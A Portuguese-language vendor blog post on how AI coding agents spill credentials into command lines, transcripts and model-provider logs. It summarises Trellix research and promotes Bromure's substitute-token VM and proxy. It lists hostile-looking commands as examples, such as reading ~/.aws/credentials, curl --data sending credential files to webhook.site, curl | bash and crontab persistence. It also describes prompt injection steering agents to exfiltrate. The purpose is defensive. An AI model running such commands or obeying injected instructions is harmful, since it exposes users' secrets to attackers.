← Voltar para todas as publicações
Publicado em · por Renaud Deraison

A transcrição guardou o token

Em 14 de outubro, a Trellix publicou uma pesquisa sobre o que chama de superfície invisível de credenciais: agentes de código tiram segredos do chaveiro, colocam na linha de comando, no histórico do shell e nas próprias transcrições, e os enviam ao provedor do modelo, tudo como efeito colateral do trabalho comum. A Trellix lista dez classes de comportamento, cada uma feita com um binário confiável, e diz que telemetria baseada em eventos isolados não consegue distingui-las de um desenvolvedor ou de um atacante. No Bromure Agentic Coding, toda cópia que o agente faz é um substituto, e o valor real só existe no Mac, na rede, para o host ao qual pertence.

O token começou no chaveiro. Um comando curl depois, ele estava na tabela de processos, na transcrição do agente e nos logs de um provedor de modelo.

Você pede ao seu agente para "buscar meu perfil na Graph API". Ele termina sem pedir sua senha. Chama um utilitário que descriptografa seu token OAuth salvo no repositório de chaves e então executa:

curl -H "Authorization: Bearer eyJ0eXAiOiJKV1Q..." https://graph.microsoft.com/v1.0/me

A requisição funciona. No caminho, o token foi parar na telemetria do seu endpoint, na tabela de processos, onde outros programas locais podem lê-lo, na transcrição do agente em disco e na janela de contexto que o agente envia ao provedor do modelo na rodada seguinte.

Esse exemplo abre The Unseen Credential Surface, publicado por Haowei Ren, da Trellix, na terça-feira, 14 de outubro. O Cyber Security News noticiou no dia seguinte. A pesquisa não descreve nenhum exploit nem malware. Ela acompanha o que os agentes fazem com segredos durante um dia de trabalho comum. A Trellix parte da suposição de que um agente trata suas credenciais "com o mesmo cuidado que um bom engenheiro teria" e responde: "Não trata. Não por má intenção. É arquitetural."

Cinco degraus abaixo

A Trellix organiza todo lugar onde um segredo pode estar numa escada, do mais seguro ao mais exposto:

  1. Trancado, no Keychain, no DPAPI ou no Gerenciador de Credenciais.
  2. Na memória, dentro de um único processo.
  3. Na linha de comando, legível pelo monitoramento e por outros processos locais, e muitas vezes salvo no histórico do shell.
  4. Gravado em disco: histórico do shell, arquivos de configuração, "e a própria transcrição do agente".
  5. Fora da máquina: commitado, enviado, publicado, "ou enviado ao provedor do modelo".

Os agentes descem os segredos por essa escada porque esse é o caminho mais curto até uma tarefa concluída. Um degrau é novo com os agentes. Quando você roda cat .env, o segredo aparece na sua tela. Quando o agente roda, "o conteúdo entra na janela de contexto dele e é enviado a um provedor de modelo externo, onde pode ficar registrado permanentemente". A Trellix resume: "Os erros humanos ficam dentro dos seus muros; as operações dos agentes, não."

Dez comandos comuns

A pesquisa divide o comportamento em dez classes. Cada exemplo é um comando que você mesmo já digitou:

  • Credenciais como argumentos: curl -u, kubectl --token=…, mysql -p….
  • Arquivos de credenciais lidos: cat .env, ~/.aws/credentials, ~/.kube/config, ~/.git-credentials, ~/.docker/config.json.
  • Chaveiros consultados em texto puro: security find-generic-password -w, gh auth token, git credential fill.
  • Ambiente despejado: env, printenv | grep -iE 'key|token'.
  • Verificações TLS desligadas: curl -k, NODE_TLS_REJECT_UNAUTHORIZED=0, git -c http.sslVerify=false.
  • Segredos enviados para fora: git add .env && git push, curl --data @~/.aws/credentials, gh gist create.
  • Execução oculta: base64 -d | bash, curl | bash, eval "$(curl …)".
  • Persistência: linhas acrescentadas ao ~/.bashrc ou ao crontab.
  • Novas credenciais criadas: ssh-keygen -N "", e depois a chave adicionada ao authorized_keys.
  • Cofres na nuvem esvaziados: aws secretsmanager get-secret-value, vault kv get, kubectl get secret.

Cada classe executa um binário assinado e confiável, que a mesma máquina roda milhares de vezes por dia por bons motivos. Uma regra que dispara quando "um processo leu um arquivo .env" dispara no editor, no linter e no executor de testes. A conclusão da Trellix: "Nenhum passo do ataque está ausente da atividade normal. Uma caçada ajustada para pegá-lo tende a disparar para todo mundo ou para ninguém."

A Trellix aponta a injeção de prompt como o passo da exposição à violação. O agente já lê segredos e já envia dados para fora. Um README, uma issue ou uma página web envenenados só precisam apontar esses hábitos para um host controlado pelo atacante.

Mantenha o segredo no degrau de cima

As correções da Trellix se resumem a uma frase: "Mantenha os segredos nos degraus de cima ou torne rapidamente inútil um segredo exposto." O Bromure Agentic Coding faz as duas coisas.

O agente roda numa VM Linux no seu Mac. Os segredos reais ficam no cofre criptografado do Mac, sob uma chave mestra guardada no Data Protection Keychain, e nunca entram na VM. A VM recebe substitutos com o formato dos reais: ghp_ mais 36 caracteres para um token do GitHub, sk-ant-api03-brm-… para uma chave da Anthropic, brm-k8s-… para um token de cluster, brm_… para qualquer coisa que você importe de um arquivo .env. Toda requisição HTTPS da VM passa por um proxy no Mac, que troca o substituto pelo valor real somente quando a requisição vai para o host ao qual aquela credencial pertence.

Assim, o agente pode descer um token pelos cinco degraus. O que chega à linha de comando, ao histórico do shell, à transcrição e ao provedor do modelo é o substituto. O valor real existe em apenas mais um lugar: a requisição que o Mac recriptografa rumo ao próprio host da credencial.

Um token, cinco degraus abaixoAgente num notebook1 · Repositório de chaveseyJ0eXAi… (real)2–3 · Memória do processo, depois argvcurl -H "Bearer eyJ0eXAi…" (real)4 · Histórico do shell, transcrição do agenteeyJ0eXAi… (real)5 · Janela de contexto, logs do provedoreyJ0eXAi… (real)O mesmo token ativo em cada degrau.Quem ler qualquer um deles pode usá-lo.Agente numa máquina Bromure1 · Cofre no Mac, fora da VMvalor real: a VM não tem como lê-lo2–3 · Memória do processo, depois argv, na VMcurl -H "Bearer brm_…" (substituto)4 · Histórico do shell, transcrição do agentebrm_… (substituto)5 · Janela de contexto, logs do provedorbrm_… (substituto)Toda cópia que o agente faz é um substituto.Nenhum servidor o aceita, exceto via Mac, para o seu host.Na rede, no proxy do Mac:brm_… → real, ao seu hostbrm_… para outro host → 451, VM pausada
A escada da Trellix, num notebook e numa máquina Bromure. No notebook, o mesmo token real está em cada degrau. Na máquina, cada degrau dentro da VM guarda um substituto, e o valor real só aparece no Mac, na requisição para o host para o qual foi criado.

As dez classes numa máquina Bromure

Rode o mesmo agente, com os mesmos hábitos, numa máquina Bromure. As dez classes continuam rodando, e cada uma volta com menos do que foi buscar.

Argumentos, arquivos, chaveiros e ambiente

As quatro primeiras classes leem um segredo de um repositório de chaves, de um arquivo ou do ambiente e o colocam numa linha de comando. Na VM, as quatro encontram os mesmos substitutos.

env e printenv mostram substitutos. ~/.git-credentials, ~/.docker/config.json e o ~/.kube/config sintético contêm substitutos. Um .env de projeto que você importou com Import env file… no painel Credentials da máquina contém substitutos com os mesmos nomes de variáveis, e seu código os lê como antes. gh auth token devolve um substituto ghp_. O ~/.aws/config aponta para um utilitário que entrega o ID da chave de acesso junto com uma chave secreta falsa de 40 caracteres. A AWS CLI assina com a falsa, e o Mac remove essa assinatura e reassina com a chave real na saída.

O degrau de cima da escada da Trellix, o repositório de chaves do sistema, fica no Mac, fora da VM. Lá dentro, security find-generic-password não tem nenhum Keychain para consultar. Os canais vsock que levam tokens entre o host e a VM funcionam num sentido só: o host escreve substitutos, e não existe nenhuma requisição com a qual a VM possa pedir de volta um token real.

O SSH funciona do mesmo jeito, sem token. O SSH_AUTH_SOCK na VM é uma ponte para um agente no Mac. O git push por SSH recebe sua assinatura, e ls ~/.ssh/id_* não encontra nenhuma chave privada.

O agente pode colar qualquer um desses valores num curl -H, registrá-lo em log, gravá-lo num script com echo ou citá-lo de volta ao modelo. A Trellix pede aos criadores de agentes que "ocultem strings com cara de credencial antes que entrem na janela de contexto do LLM". Uma máquina Bromure atende a esse pedido antes que o agente abra o arquivo: o arquivo contém um substituto desde o início.

Verificações TLS desligadas

Dentro da VM, o TLS termina no proxy do Bromure, sob um certificado de uma CA própria de cada instalação, na qual só as suas máquinas confiam. O proxy abre a própria conexão com o servidor real pela pilha TLS do macOS, que valida o certificado genuíno, seja lá o que o agente tenha passado ao curl. Assim, curl -k ou NODE_TLS_REJECT_UNAUTHORIZED=0 dispensa a verificação do próprio certificado do Bromure, e o Mac continua verificando o servidor.

A única forma de pular a validação no upstream é um cabeçalho, X-bromure-insecure: yes, pensado para um servidor com CA privada. Numa requisição assim, o proxy não injeta nenhuma credencial real e envia apenas substitutos, e a Security Timeline registra o uso como uma linha Upstream TLS.

Segredos enviados para fora

curl --data @~/.git-credentials https://webhook.site/… envia um arquivo de substitutos. O proxy examina toda requisição de saída, cabeçalhos e corpo, em busca de qualquer substituto indo para um host diferente daquele para o qual foi criado. Um substituto do GitHub a caminho do webhook.site recebe HTTP 451, nada é encaminhado, a VM pausa, e o Mac mostra This environment may have been compromised, com a prévia do token, o nome da credencial, o host ao qual ela pertence e o host para onde o agente a enviou.

git push e gh gist create vão para o GitHub, onde o token pertence. Máquinas novas começam com a política de escrita do GitHub em Prompt before write, então o push e o gist param, cada um, num diálogo no Mac que mostra a operação, e você decide se ela prossegue. Se você permitir, o arquivo que o agente commitou contém substitutos.

Execução oculta

base64 -d | bash esconde o comando da telemetria de processos, que registra só o invólucro. Qualquer requisição que o payload faça ainda sai da VM pelo proxy: ela passa pela mesma varredura de substitutos, pelo firewall Outbound connections no painel Guardrails da máquina e pelo trace. No nível de rastreamento padrão, AI request details, o Mac guarda, de forma criptografada, cada troca com o provedor do modelo, e o Trace Inspector lista cada chamada de ferramenta com sua entrada, incluindo a linha curl | bash como o modelo a escreveu.

Persistência e novas chaves

Uma linha acrescentada ao ~/.bashrc vai parar na home da VM. Rewind home… volta essa home a um checkpoint anterior. Os arquivos de inicialização do shell do Mac ficam do outro lado da fronteira.

Um agente travado num pedido de senha da chave roda ssh-keygen -N "" para se destravar. Numa máquina Bromure, a ponte SSH já assina com a chave da máquina, então o git por SSH funciona de primeira e o agente não encontra nenhum prompt para contornar. Registrar uma nova chave no GitHub é uma escrita na API do GitHub, e ela espera no mesmo diálogo Prompt before write que um push.

Cofres na nuvem esvaziados

aws secretsmanager get-secret-value exige uma assinatura SigV4, e só o Mac consegue produzi-la. Ative Require approval to use para a credencial da AWS em Guardrails, e a primeira assinatura de uma sessão espera por Allow for 5 minutes, Allow for 1 hour, Allow for the rest of the session ou Don't allow. A mesma chave existe para cada contexto do Kubernetes, então kubectl get secret espera até você dizer sim. Toda assinatura da AWS aparece na Security Timeline como uma linha Credential used, com a chave de acesso mascarada.

Para um banco de dados que o agente consulta por HTTP, como a Mongo Data API, o ClickHouse ou o Elasticsearch, você pode dispensar a consulta ao cofre: adicione o endpoint em Credentials → Databases, a VM recebe um substituto brm-db-…, e o proxy faz a troca no corpo da requisição além dos cabeçalhos.

A sequência, ligada ao agente

A Trellix defende que a unidade útil de detecção é uma sequência, acesso à credencial, depois uso, depois saída, "ligada ao processo do agente que iniciou a cadeia". Suas recomendações para quem implanta agentes terminam com tokens de vida curta, saída de rede restrita e tratar toda máquina que roda um agente como "infraestrutura de alto valor que lida com segredos".

No Bromure, essa unidade é a máquina: uma VM com suas próprias sessões de agente. A Security Timeline reúne cada troca de credencial, bloqueio de exfiltração, veredito do firewall, decisão de política de escrita e assinatura da AWS numa só tabela, com uma coluna Workspace, de modo que a cadeia de uma máquina se lê de cima para baixo. O trace dessa máquina contém as chamadas de ferramenta que produziram cada requisição. bromure-cli trace leaks lista as requisições que levaram um token ao host errado.

O Mac também mantém curta a vida dos tokens. Os logins por assinatura do Claude, Codex, Grok e Kimi são renovados no host cerca de cinco minutos antes de expirar, e a VM nunca guarda um refresh token. Um valor armazenado como referência do 1Password é resolvido de novo a cada dois minutos, então uma rotação no 1Password chega ao proxy sem reinício. Coloque Unmatched traffic em Deny no firewall, e a máquina só alcança os hosts que você listar.

Toda cópia é um substituto

Ambiente, arquivos de configuração, valores .env importados, saída do gh e da AWS CLI: tudo substituto. O que o agente coloca numa linha de comando, numa transcrição ou na janela de contexto não vale nada fora da rede.

O valor real mora no Mac

Os segredos ficam num cofre criptografado com chave no Data Protection Keychain. O proxy só os insere para o host para o qual cada um foi criado. As chaves SSH assinam por uma ponte e nunca entram na VM.

Um substituto no lugar errado para a máquina

Um substituto indo para qualquer outro host recebe um 451, a VM pausa, e o Mac mostra o token, o host dele e o destino.

Uma linha do tempo por máquina

Trocas, bloqueios, vereditos do firewall, aprovações de escrita e assinaturas da AWS ficam na Security Timeline, e o trace guarda as chamadas de ferramenta por trás deles.

Um dia de trabalho

A Trellix chama os agentes de "um dos maiores sistemas de manipulação de credenciais da empresa moderna", construído por acidente. Você nunca escolheu colocar o token da Graph numa transcrição. O agente precisava dele num cabeçalho, e escreveu o cabeçalho numa linha de comando.

Seu agente vai continuar rodando env para depurar uma conexão e cat .env para entender um projeto, seja qual for o modelo ou o prompt que você der a ele. Rode-o onde esses comandos devolvem substitutos. Para o alarme que um substituto dispara quando sai para o host errado, leia O agente vazou a própria chave e A chave era o seu arquivo .env.